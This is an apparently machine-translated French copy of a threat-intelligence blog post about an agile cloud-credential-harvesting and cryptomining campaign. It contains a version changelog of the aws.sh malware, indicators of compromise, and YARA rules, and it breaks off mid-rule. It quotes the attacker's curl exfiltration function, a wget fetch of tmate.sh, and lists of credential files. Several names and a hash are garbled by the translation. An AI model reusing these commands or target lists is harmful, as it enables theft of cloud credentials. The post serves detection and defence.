Les développeurs ne sont pas les seuls à avoir adopté la méthodologie agile pour leurs processus de développement. Du 15/06/2023 au 11/07/2023, l’équipe p0 Labs de Permiso Security a identifié et suivi un attaquant développant et déployant huit (8) itérations incrémentielles de son malware de collecte d’informations d’identification tout en continuant à développer l’infrastructure pour un prochain (spoiler : maintenant lancé). ) campagne ciblant divers services cloud.

Alors que la semaine dernière, Aqua Security a publié un blog détaillant les étapes de cette campagne en cours de développement liées aux images Docker infectées, Permiso p0 Labs et SentinelLabs publient aujourd’hui une recherche conjointe mettant en évidence les mises à jour incrémentielles des échantillons de logiciels malveillants de collecte d’informations d’identification cloud systématiquement collectés en surveillant l’infrastructure de l’attaquant. Alors levez-vous et profitez de ce stand-up Scrum Meeting dédié au partage de connaissances sur cette campagne d’acteurs et sur les outils qu’ils utiliseront pour voler davantage d’informations d’identification cloud.

Si vous aimez les captures d’écran IDA dans vos blogs d’analyse, n’oubliez pas de consulter le point de vue de SentinelLabs sur cette campagne !

Campagnes précédentes

Il y a eu de nombreuses campagnes dans lesquelles les acteurs ont utilisé des outils similaires pour effectuer la récupération d’informations d’identification dans le cloud tout en déployant en masse un logiciel de crypto mining. Pour rappel, en décembre, l’équipe Permiso a rapporté les détails d’un acteur ciblant le public confronté aux Juptyer Notebooks avec cet ensemble d’outils.

Nos amis de Cado ont également rendu compte en détail des campagnes précédentes.

Campagne active

Le 11/07/2023, alors que nous préparions la sortie de ce blog sur l’ensemble d’outils en développement, l’acteur a lancé sa campagne.

Le fichier b.sh est le script d’initialisation qui télécharge et déploie toutes les fonctionnalités de la suite d’outils. Les principales fonctionnalités consistent à installer une porte dérobée pour un accès continu, à déployer des utilitaires de crypto-minage et à rechercher et à se propager à d’autres systèmes vulnérables.

Actuellement (2023-07-12), il y a 39 systèmes compromis dans cette campagne :

Quoi de neuf?

Les utilitaires de collecte d’informations d’identification cloud de cette campagne présentent des différences notables par rapport aux versions précédentes. Voici les points saillants des modifications :

  • Prise en charge multi-cloud:
    • Prise en charge de GCP ajoutée
    • GCLOUD_CREDS_FILES=(« config_sentinel » « gce » « .last_survey_prompt.yaml » « config_default » « active_config » « credentials.db » « access_tokens.db » « .last_update_check.json » « .last_opt_in_prompt.yaml » « .feature_flags_config.yaml »  » adc.json » « ressource.cache »)
  • Prise en charge Azure ajoutée en recherchant et en extrayant les informations d’identification de tous les fichiers nommés azure.json
  • De nombreux changements structurels et syntaxiques soulignent le passage du ciblage AWS au multi-cloud :
    • Tableaux de noms de fichiers sensibles répartis par service cloud :
      • CRED_FILE_NAMES → AWS_CREDS_FILES, AZURE_CREDS_FILES et GCLOUD_CREDS_FILES
    • Noms de fonctions génériques :
      • send_aws_data → send_data
    • En-têtes de section de sortie modifiés :
      • INFOS → INFOS AWS
      • IAM → DONNÉES UTILISATEUR IAM
      • EC2 → DONNÉES UTILISATEUR EC2
  • Fichiers ciblés: Ajout de « kubeconfig » « adc.json » « azure.json » « clusters.conf » « docker-compose.yaml » « .env » à la variable CRED_FILE_NAMES. redis.conf.not.exist ajouté avec une variable MIXED_CREDFILES.
  • Nouvelle boucle: Passé de la fonction de téléchargement (« curl sans curl ») au téléchargement du binaire curl par étapes pour éventuellement utiliser le binaire curl natif.
  • AWS-CLI: aws sts get-caller-identity pour valider les informations d’identification cloud et les informations d’identité
    • Infrastructure: La plupart des campagnes précédentes hébergeaient les utilitaires et C2 sur un seul domaine. Dans cette campagne, l’acteur utilise plusieurs noms de domaine complets (y compris une mascarade remarquable en tant qu’instance EC2 : ap-northeast-1.compute.internal.anondns[.]filet).
      • De nombreux éléments de l’infrastructure et du code de l’acteur donnent du poids au fait que l’auteur est de langue maternelle allemande (en plus du fait que l’outil open source TeamTNT contient déjà de nombreux éléments allemands dans son code).
        • L’une des versions intermédiaires de aws.sh faisait référence au nom de domaine complet ap-northeast-1.compute.internal.anondns[.]net , qui a renvoyé le message d’erreur allemand Fehler! vergleiche bitte die Authentifizierungsmerkmale in beiden Scripten!!! (qui se traduit par Erreur ! veuillez comparer les fonctionnalités d’authentification dans les deux scripts !!) lors de la visite d’une analyse VirusTotal le 23/06/2023 :
        • Une recherche Google pour le message d’erreur ci-dessus révèle un seul résultat provenant d’un forum allemand du 08/10/2008 (https://administrator.de/tutorial/upload-von-dateien-per-batch-curl-und-php-auf -einen-webserver-ohne-ftp-98399.html) contenant le code d’un outil de téléchargement de fichiers PHP appelé upload.php où l’authentification échouée sinon le bloc fait écho à la déclaration d’erreur exacte. Le nom de fichier upload.php était également l’URI des versions 2 et 3 d’aws.sh de l’acteur menaçant, et la commande curl de l’attaquant (illustré ci-dessous) contient une syntaxe d’argument unique identique à l’exemple de commande dans le même message du forum.
        • Les derniers clins d’œil allemands se trouvent dans les arguments de la commande curl. L’indicateur le plus flagrant est l’argument Datei= dans les versions 2 à 8 d’aws.sh puisque « Datei » est le mot allemand pour « fichier ». L’observation la plus subtile concerne le mot de passe codé en dur (oeireopüigreigroei) dans les versions 2 et 3 d’aws.sh, notamment la présence du seul caractère non latin : ü.
send_data(){
curl -F "username=jegjrlgjhdsgjh" -F "password=oeireopüigreigroei" -F \
"Datei=@"$CSOF"" -F "Send=1" <https://everlost.anondns.net/upload.php>
}

Le nom d’utilisateur et le mot de passe indiquent tous deux une exécution au clavier – le nom d’utilisateur sur les touches de la ligne d’accueil et le mot de passe sur les touches de la ligne supérieure. Cependant, tous les autres caractères étant latins, le scénario probable qui produirait un seul ü serait l’utilisation d’un clavier virtuel. Étant donné que le ü suit immédiatement la lettre p dans le mot de passe, les deux seules configurations de clavier virtuel contenant un ü adjacent au caractère p concernent les langues estonienne et allemande.

Cycle de vie du développement des attaquants

La surveillance de cette infrastructure d’attaquant pendant un mois a permis à l’équipe Permiso d’avoir un aperçu du processus de développement de l’acteur et des modifications apportées à chaque itération. Quelle meilleure façon d’afficher qu’avec un journal des modifications ! Ce qui suit est un journal des modifications des mises à jour incrémentielles apportées à l’utilitaire de collecte d’informations d’identification aws.sh :

# v1(28165d28693ca807fb3d4568624c5ba9) -> v2(b9113ccc0856e5d44bab8d3374362a06)
[*] updated function name from int_main() to run_aws_grabber() (though not executed in script)
[*] updated function name from send_aws_data() to send_data()
[*] updated function name from files_aws() to cred_files()
[*] updated function name from docker_aws() to get_docker() with similar functionality
[*] split env_aws() function's logic into three (3) new functions: get_aws_infos(), get_aws_meta(), get_aws_env()
[+] added function get_awscli_data() which executes aws sts get-caller-identity command
[+] added two (2) functions with new functionality (returning contents of sensitive file names and environment variables): get_azure(), get_google()
[-] removed strings_proc_aws function containing strings /proc/*/env* | sort -u | grep 'AWS|AZURE|KUBE' command enumerating environment variables
[-] removed ACF file name array (though all values except .npmrc, cloud and credentials.gpg were already duplicated in CRED_FILE_NAMES array)
[+] added new empty AZURE_CREDS_FILES file name array (though not used in script)
[+] added new AWS_CREDS_FILES file name array (though not used in script) with the following values moved from CRED_FILE_NAMES file name array: credentials, .s3cfg, .passwd-s3fs, .s3backer_passwd, .s3b_config, s3proxy.conf
[+] added new GCLOUD_CREDS_FILES file name array (though not used in script) with the following net new values: config_sentinel, gce, .last_survey_prompt.yaml, config_default, active_config, credentials.db, .last_update_check.json, .last_opt_in_prompt.yaml, .feature_flags_config.yaml, resource.cache
[+] added copy of duplicate values access_tokens.db and adc.json from CRED_FILE_NAMES file name array to GCLOUD_CREDS_FILES file name array
[+] added netrc, kubeconfig, adc.json, azure.json, env, clusters.conf, grafana.ini and an empty string to CRED_FILE_NAMES file name array
[-] removed credentials.db from CRED_FILE_NAMES file name array
[-] removed dload function (downloader capability, i.e. "curl without curl")
[+] added commented dload function invocation for posting final results
[+] added commented wget command to download and execute https://everlost.anondns[.]net/cmd/tmate.sh
[*] replaced execution of dload function with native curl binary
[*] replaced references to /tmp/.curl with native curl binary
[-] removed base64 encoding of final results
[+] added username and password to curl command: "username=jegjrlgjhdsgjh" "password=oeireopüigreigroei"
[*] updated URI for posting final results from /in.php?base64=$SEND_B64_DATA to /upload.php
[*] renamed LOCK_FILE from /tmp/...aws4 to /tmp/..a.l$(echo $RANDOM)
[-] removed rm -f $LOCK_FILE command
[-] removed history -cw command (clear history list and overwrite history file) at end of script
[*] converted numerous long commands into shorter multi-line syntax

-------

# v2(b9113ccc0856e5d44bab8d3374362a06) -> v3(d9ecceda32f6fa8a7720e1bf9425374f)
[+] added execution of previously unused run_aws_grabber() function
[+] added function get_prov_vars with nearly identical strings /proc/*/env* command found in previously removed strings_proc_aws function (though with previous grep 'AWS|AZURE|KUBE' command removed)
[+] added logic to search for files listed in previously unused file name arrays: AWS_CREDS_FILES, GCLOUD_CREDS_FILES
[+] added new file name array MIXED_CREDFILES=("redis.conf") (though not used in script)
[+] added docker-compose.yaml to CRED_FILE_NAMES file name array
[*] updated env to .env in CRED_FILE_NAMES file name array
[-] removed config from AWS_CREDS_FILES file name array
[*] updated echo output section header from INFO to AWS INFO
[*] updated echo output section header from IAM to IAM USERDATA
[*] updated echo output section header from EC2 to EC2 USERDATA
[-] removed commented dload function invocation for posting final results

-------

# v3(d9ecceda32f6fa8a7720e1bf9425374f) -> v4(0855b8697c6ebc88591d15b954bcd15a)
[*] replaced strings /proc/*/env* command with cat /proc/*/env* command in get_prov_vars function
[*] updated username and password to curl command from "username=jegjrlgjhdsgjh" "password=oeireopüigreigroei" to "username=1234" -F "password=5678"
[*] updated FQDN for posting final results from everlost.anondns[.]net to ap-northeast-1.compute.internal.anondns[.]net (masquerading as AWS EC2 instance FQDN)
[*] updated URI for posting final results from /upload.php to /insert/keys.php

-------

# v4(0855b8697c6ebc88591d15b954bcd15a) -> v5(f7df739f865448ac82da01b3b1a97041)
[*] updated FQDN for posting final results from ap-northeast-1.compute.internal.anondns[.]net to silentbob.anondns[.]net
[+] added SRCURL variable to store FQDN (later expanded in final curl command's URL)
[+] added if type aws logic to only execute run_aws_grabber function if AWS CLI binary is present

-------

# v5(f7df739f865448ac82da01b3b1a97041) -> v6(1a37f2ef14db460e5723f3c0b7a14d23)
[*] updated redis.conf to redis.conf.not.exist in MIXED_CREDFILES file name array
[*] updated LOCK_FILE variable from /tmp/..a.l$(echo $RANDOM) to /tmp/..a.l

-------

# v6(1a37f2ef14db460e5723f3c0b7a14d23) -> v7(99f0102d673423c920af1abc22f66d4e)
[-] removed grafana.ini from CRED_FILE_NAMES file name array

-------

# v7(99f0102d673423c920af1abc22f66d4e) -> v8(5daace86b5e947e8b87d8a00a11bc3c5)
[-] removed MIXED_CREDFILES file name array
[+] added new file name array DBS_CREDFILES=("postgresUser.txt" "postgresPassword.txt")
[+] added awsAccessKey.txt and awsKey.txt to AWS_CREDS_FILES file name array
[+] added azure.json to AZURE_CREDS_FILES file name array (already present in CRED_FILE_NAMES file name array)
[+] added hostname command output to final result
[+] added curl -sLk ipv4.icanhazip.com -o- command output to final result
[+] added cat /etc/ssh/sshd_config | grep 'Port '|awk '{print $2}' command output to final result
[*] updated LOCK_FILE variable from /tmp/..a.l to /tmp/..pscglf_

Infrastructure de l’attaquant

Les acteurs utilisant TeamTNT Tooling modifié comme celui-ci ont tendance à utiliser le service d’hébergement Nice VPS. Cette campagne ne fait pas exception à cet égard. L’acteur a enregistré au moins quatre (4) domaines pour cette campagne via anondns, tous sauf un pointant actuellement vers l’adresse IP du VPS de Nice 45.9.148.108. Le domaine everfound.anondns.net est actuellement résolu par l’adresse IP 207.154.218.221.

Les domaines actuellement impliqués dans cette campagne sont :

Domaine

Vu la première fois

everlost.anondns[.]filet

2023-06-11 10:35:09 UTC

ap-northeast-1.compute.internal.anondns[.]filet

2023-06-16 15:24:16 UTC

Silentbob.anondns[.]filet

2023-06-24 16:53:46 UTC

everfound.anondns[.]filet

2023-07-02 21:07:50 UTC

Alors que la majorité des récentes activités de développement d’attaquants ont eu lieu sur Silentbob.anondns.net, nous trouvons que le domaine de mascarade AWS ap-northeast-1.compute.internal.anondns.net est le plus intéressant, mais Jay et Silent Bob font beaucoup. une meilleure couverture de blog afin que nous respections le choix de l’attaquant dans les noms de domaine complets.

Indicateurs

Indicateur Taper Remarques
everlost.anondns[.]filet Domaine
ap-northeast-1.compute.internal.anondns[.]filet Domaine
Silentbob.anondns[.]filet Domaine
everfound.anondns[.]filet Domaine
207.154.218[.]221 IPv4
45.9.148[.]108 IPv4
28165d28693ca807fb3d4568624c5ba9 MD5 aws.sh v1
b9113ccc0856e5d44bab8d3374362a06 MD5 aws.sh v2
d9ecceda32f6fa8a7720e1bf9425374f MD5 aws.sh v3
0855b8697c6ebc88591d15b954bcd15a MD5 aws.sh v4
f7df739f865448ac82da01b3b1a97041 MD5 aws.sh v5
1a37f2ef14db460e5723f3c0b7a14d23 MD5 aws.sh v6
99f0102d673423c920af1abc22f66d4e MD5 aws.sh v7
5daace86b5e947e8b87d8a00a11bc3c5 MD5 aws.sh v8 (grab.sh)
92d6cc158608bcec74cf9856ab6c94e5 MD5 utilisateur.sh
cfb6d7788c94857ac5e9899a70c710b6 MD5 int.sh
7044a31e9cd7fdbf10e6beba08c78c6b MD5 nettoyer.sh
58b92888443cfb8a4720645dc3dc9809 MD5 xc3.sh
f60b75dsourd9703277bb2dc36c0f114b MD5 b.sh (script d’installation)
2044446e6832577a262070806e9bf22c MD5 chat
c2465e78a5d11afd74097734350755a4 MD5 curl.full
f13b8eedde794e2a9a1e87c3a2b79bf4 MD5 tmate.sh
87c8423e0815d6467656093bff9aa193 MD5 un
9e174082f721092508df3f1aae3d6083 MD5 exécuter.sh
203fe39ff0e59d683b36d056ad64277b MD5 analyse de masse
2514cff4dbfd6b9099f7c83fc1474a2d MD5
dafac2bc01806db8bf19ae569d85deae MD5 données.sh
43Lfq18TycJHVR3AMews5C9f6SEfenZoQMcrsEeFXZTWcFW9jW7VeCySDm1L9n4d2JEoHjcDpWZFq6QzqN4QGHYZVaALj3U Portefeuille
hxxp://silentbob.anondns.net/insert/metadata.php URL

Détections

rule P0_Hunting_AWS_CredFileNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous AWS credential file names"
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$credFileAWS_01 = "credentials"
$credFileAWS_02 = ".s3cfg"
$credFileAWS_03 = ".passwd-s3fs"
$credFileAWS_04 = ".s3backer_passwd"
$credFileAWS_05 = ".s3b_config"
$credFileAWS_06 = "s3proxy.conf"
$credFileAWS_07 = "awsAccessKey.txt"
$credFileAWS_08 = "awsKey.txts"
$fileSearchCmd = "find "
$fileAccessCmd_01 = "cat "
$fileAccessCmd_02 = "strings "
$fileAccessCmd_03 = "cp "
$fileAccessCmd_04 = "mv "
condition:
(3 of ($credFileAWS*)) and $fileSearchCmd and (any of ($fileAccessCmd*))
}

rule P0_Hunting_AWS_EnvVarNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous environment variables containing sensitive AWS credential information. Explicitly excluding LinPEAS (and its variants) to remove noise since it is already well-detected."
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$envVarAWSPrefixSyntax_01 = "$AWS_"
$envVarAWSPrefixSyntax_02 = "${AWS_"
$envVarAWS_01 = "AWS_ACCESS_KEY_ID"
$envVarAWS_02 = "AWS_SECRET_ACCESS_KEY"
$envVarAWS_03 = "AWS_SESSION_TOKEN"
$envVarAWS_04 = "AWS_SHARED_CREDENTIALS_FILE"
$envVarAWS_05 = "AWS_CONFIG_FILE"
$envVarAWS_06 = "AWS_DEFAULT_REGION"
$envVarAWS_07 = "AWS_REGION"
$envVarAWS_08 = "AWS_EC2_METADATA_DISABLED"
$envVarEcho = "then echo "
$linPEAS_01 = "#-------) Checks pre-everything (---------#"
$linPEAS_02 = "--) FAST - Do not check 1min of procceses and su brute"
condition:
(any of ($shellHeader*)) and (1 of ($envVarAWSPrefixSyntax*)) and (4 of ($envVarAWS*)) and (#envVarEcho >= 4) and not (all of ($linPEAS*))
}

rule P0_Hunting_AWS_SedEnvVarExtraction_1 {
meta:
description = "Detecting presence of scripts using native sed (Stream Editor) utility extracting numerous environment variables containing sensitive AWS credential information"
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$grepPropAWS = "| grep 'AccessKeyId\|SecretAccessKey\|Token\|Expiration' |"
$awsCliConfigureCmd = "aws configure set aws_"
$sedPropAWS_01 = "sed 's# "AccessKeyId" : "#\n\naws configure set aws_access_key_id #g'"
$sedPropAWS_02 = "sed 's# "SecretAccessKey" : "#aws configure set aws_secret_access_key #g'"
$sedPropAWS_03 = "sed 's# "Token" : "#aws configure set aws_session_token #g'"
$sedPropAWS_04 = "sed 's# "Expiration" : "#\n\nExpiration : #g'"
condition:
all of them
}

rule P0_Hunting_Azure_EnvVarNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous environment variables containing sensitive Azure credential information"
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$envVarAzurePrefixSyntax_01 = "$AZURE_"
$envVarAzurePrefixSyntax_02 = "${AZURE_"
$envVarAzure_01 = "AZURE_CREDENTIAL_FILE"
$envVarAzure_02 = "AZURE_GUEST_AGENT_CONTAINER_ID"
$envVarAzure_03 = "AZURE_CLIENT_ID"
$envVarAzure_04 = "AZURE_CLIENT_SECRET"
$envVarAzure_05 = "AZURE_TENANT_ID"
$envVarAzure_06 = "AZURE_SUBSCRIPTION_ID"
$envVarEcho = "then echo "
condition:
(1 of ($envVarAzurePrefixSyntax*)) and (3 of ($envVarAzure*)) and (#envVarEcho >= 3)
}

rule P0_Hunting_GCP_CredFileNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous Google Cloud Platform (GCP) credential file names. Explicitly excluding LinPEAS (and its variants) to remove noise since it is already well-detected."
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$credFileGCP_01 = "active_config"
$credFileGCP_02 = "gce"
$credFileGCP_03 = ".last_survey_prompt.yaml"
$credFileGCP_04 = ".last_opt_in_prompt.yaml"
$credFileGCP_05 = ".last_update_check.json"
$credFileGCP_06 = ".feature_flags_config.yaml"
$credFileGCP_07 = "config_default"
$credFileGCP_08 = "config_sentinel"
$credFileGCP_09 = "credentials.db"
$credFileGCP_10 = "access_tokens.db"
$credFileGCP_11 = "adc.json"
$credFileGCP_12 = "resource.cache"
$fileSearchCmd = "find "
$fileAccessCmd_01 = "cat "
$fileAccessCmd_02 = "strings "
$fileAccessCmd_03 = "cp "
$fileAccessCmd_04 = "mv "
$linPEAS_01 = "#-------) Checks pre-everything (---------#"
$linPEAS_02 = "--) FAST - Do not check 1min of procceses and su brute"
condition:
(any of ($shellHeader*)) and (5 of ($credFileGCP*)) and $fileSearchCmd and (any of ($fileAccessCmd*)) and not (all of ($linPEAS*))
}

rule P0_Hunting_GCP_EnvVarNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous environment variables containing sensitive GCP credential information"
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$envVarGCPPrefixSyntax_01 = "$GOOGLE_"
$envVarGCPPrefixSyntax_02 = "${GOOGLE_"
$envVarGCP_01 = "GOOGLE_API_KEY"
$envVarGCP_02 = "GOOGLE_DEFAULT_CLIENT_ID"
$envVarGCP_03 = "GOOGLE_DEFAULT_CLIENT_SECRET"
$envVarEcho = "then echo "
condition:
(any of ($shellHeader*)) and (1 of ($envVarGCPPrefixSyntax*)) and (2 of ($envVarGCP*)) and (#envVarEcho >= 2)
}

rule P0_Hunting_Common_CredFileNames_1 {
meta:
description = "Detecting presence of scripts searching for numerous common credential file names. Explicitly excluding LinPEAS (and its variants) to remove noise since it is already well-detected."
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$shellHeader_01 = "#!/bin/sh"
$shellHeader_02 = "#!/bin/bash"
$credFileCommon_01 = "authinfo2"
$credFileCommon_02 = "access_tokens.db"
$credFileCommon_03 = ".smbclient.conf"
$credFileCommon_04 = ".smbcredentials"
$credFileCommon_05 = ".samba_credentials"
$credFileCommon_06 = ".pgpass"
$credFileCommon_07 = "secrets"
$credFileCommon_08 = ".boto"
$credFileCommon_09 = "netrc"
$credFileCommon_10 = ".git-credentials"
$credFileCommon_11 = "api_key"
$credFileCommon_12 = "censys.cfg"
$credFileCommon_13 = "ngrok.yml"
$credFileCommon_14 = "filezilla.xml"
$credFileCommon_15 = "recentservers.xml"
$credFileCommon_16 = "queue.sqlite3"
$credFileCommon_17 = "servlist.conf"
$credFileCommon_18 = "accounts.xml"
$credFileCommon_19 = "kubeconfig"
$credFileCommon_20 = "adc.json"
$credFileCommon_21 = "clusters.conf"
$credFileCommon_22 = "docker-compose.yaml"
$credFileCommon_23 = ".env"
$fileSearchCmd = "find "
$fileAccessCmd_01 = "cat "
$fileAccessCmd_02 = "strings "
$fileAccessCmd_03 = "cp "
$fileAccessCmd_04 = "mv "
$linPEAS_01 = "#-------) Checks pre-everything (---------#"
$linPEAS_02 = "--) FAST - Do not check 1min of procceses and su brute"
condition:
(any of ($shellHeader*)) and (10 of ($credFileCommon*)) and $fileSearchCmd and (any of ($fileAccessCmd*)) and not (all of ($linPEAS*))
}

rule P0_Hunting_Common_TeamTNT_CredHarvesterOutputBanner_1 {
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing specific section banner output commands"
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "b9113ccc0856e5d44bab8d3374362a06"
md5_02 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_03 = "0855b8697c6ebc88591d15b954bcd15a"
md5_04 = "f7df739f865448ac82da01b3b1a97041"
md5_05 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "99f0102d673423c920af1abc22f66d4e"
md5_08 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$sectionBanner_01 = "-------- AWS INFO ------------------------------------------"
$sectionBanner_02 = "-------- EC2 USERDATA -------------------------------------------"
$sectionBanner_03 = "-------- GOOGLE DATA --------------------------------------"
$sectionBanner_04 = "-------- AZURE DATA --------------------------------------"
$sectionBanner_05 = "-------- IAM USERDATA -------------------------------------------"
$sectionBanner_06 = "-------- AWS ENV DATA --------------------------------------"
$sectionBanner_07 = "-------- PROC VARS -----------------------------------"
$sectionBanner_08 = "-------- DOCKER CREDS -----------------------------------"
$sectionBanner_09 = "-------- CREDS FILES -----------------------------------"
condition:
(5 of them)
}

rule P0_Hunting_Common_TeamTNT_CredHarvesterTypo_1 {
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing common typo for 'CREFILE' variable name (assuming intended name is 'CREDFILE' since it is iterating file names in input array"
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "3e2cddf76334529a14076c3659a68d92"
md5_02 = "b9113ccc0856e5d44bab8d3374362a06"
md5_03 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_04 = "28165d28693ca807fb3d4568624c5ba9"
md5_05 = "0855b8697c6ebc88591d15b954bcd15a"
md5_06 = "f7df739f865448ac82da01b3b1a97041"
md5_07 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_08 = "99f0102d673423c920af1abc22f66d4e"
md5_09 = "99f0102d673423c920af1abc22f66d4e"
md5_10 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$varNameTypo = "for CREFILE in ${"
$findArgs = "find / -maxdepth "
$xargs = " | xargs -I % sh -c 'echo :::%; cat %' >> $"
condition:
all of them
}

rule P0_Hunting_Common_TeamTNT_CredHarvesterTypo_2 {
meta:
description = "Detecting presence of known credential harvester scripts (commonly used by TeamTNT) containing common typo for 'get_prov_vars' function name (assuming intended name is 'get_proc_vars' since it is outputting process variables"
author = "daniel.bohannon@permiso.io (@danielhbohannon)"
date = "2023-07-12"
reference = "https://permiso.io/blog/s/agile-approach-to-mass-cloud-cred-harvesting-and-cryptomining/"
md5_01 = "d9ecceda32f6fa8a7720e1bf9425374f"
md5_02 = "0855b8697c6ebc88591d15b954bcd15a"
md5_03 = "f7df739f865448ac82da01b3b1a97041"
md5_04 = "1a37f2ef14db460e5723f3c0b7a14d23"
md5_05 = "99f0102d673423c920af1abc22f66d4e"
md5_06 = "99f0102d673423c920af1abc22f66d4e"
md5_07 = "5daace86b5e947e8b87d8a00a11bc3c5"
strings:
$funcNameTypo = "get_prov_vars"
$fileAccess_01 = "cat "
$fileAccess_02 = "strings "
$envVarFilePath = " /proc/*/env*"
condition:
$funcNameTypo and (any of ($fileAccess*)) and $envVarFilePath
}

rule P0_Hunting_Common_TeamTNT_CurlArgs_1 {
meta:
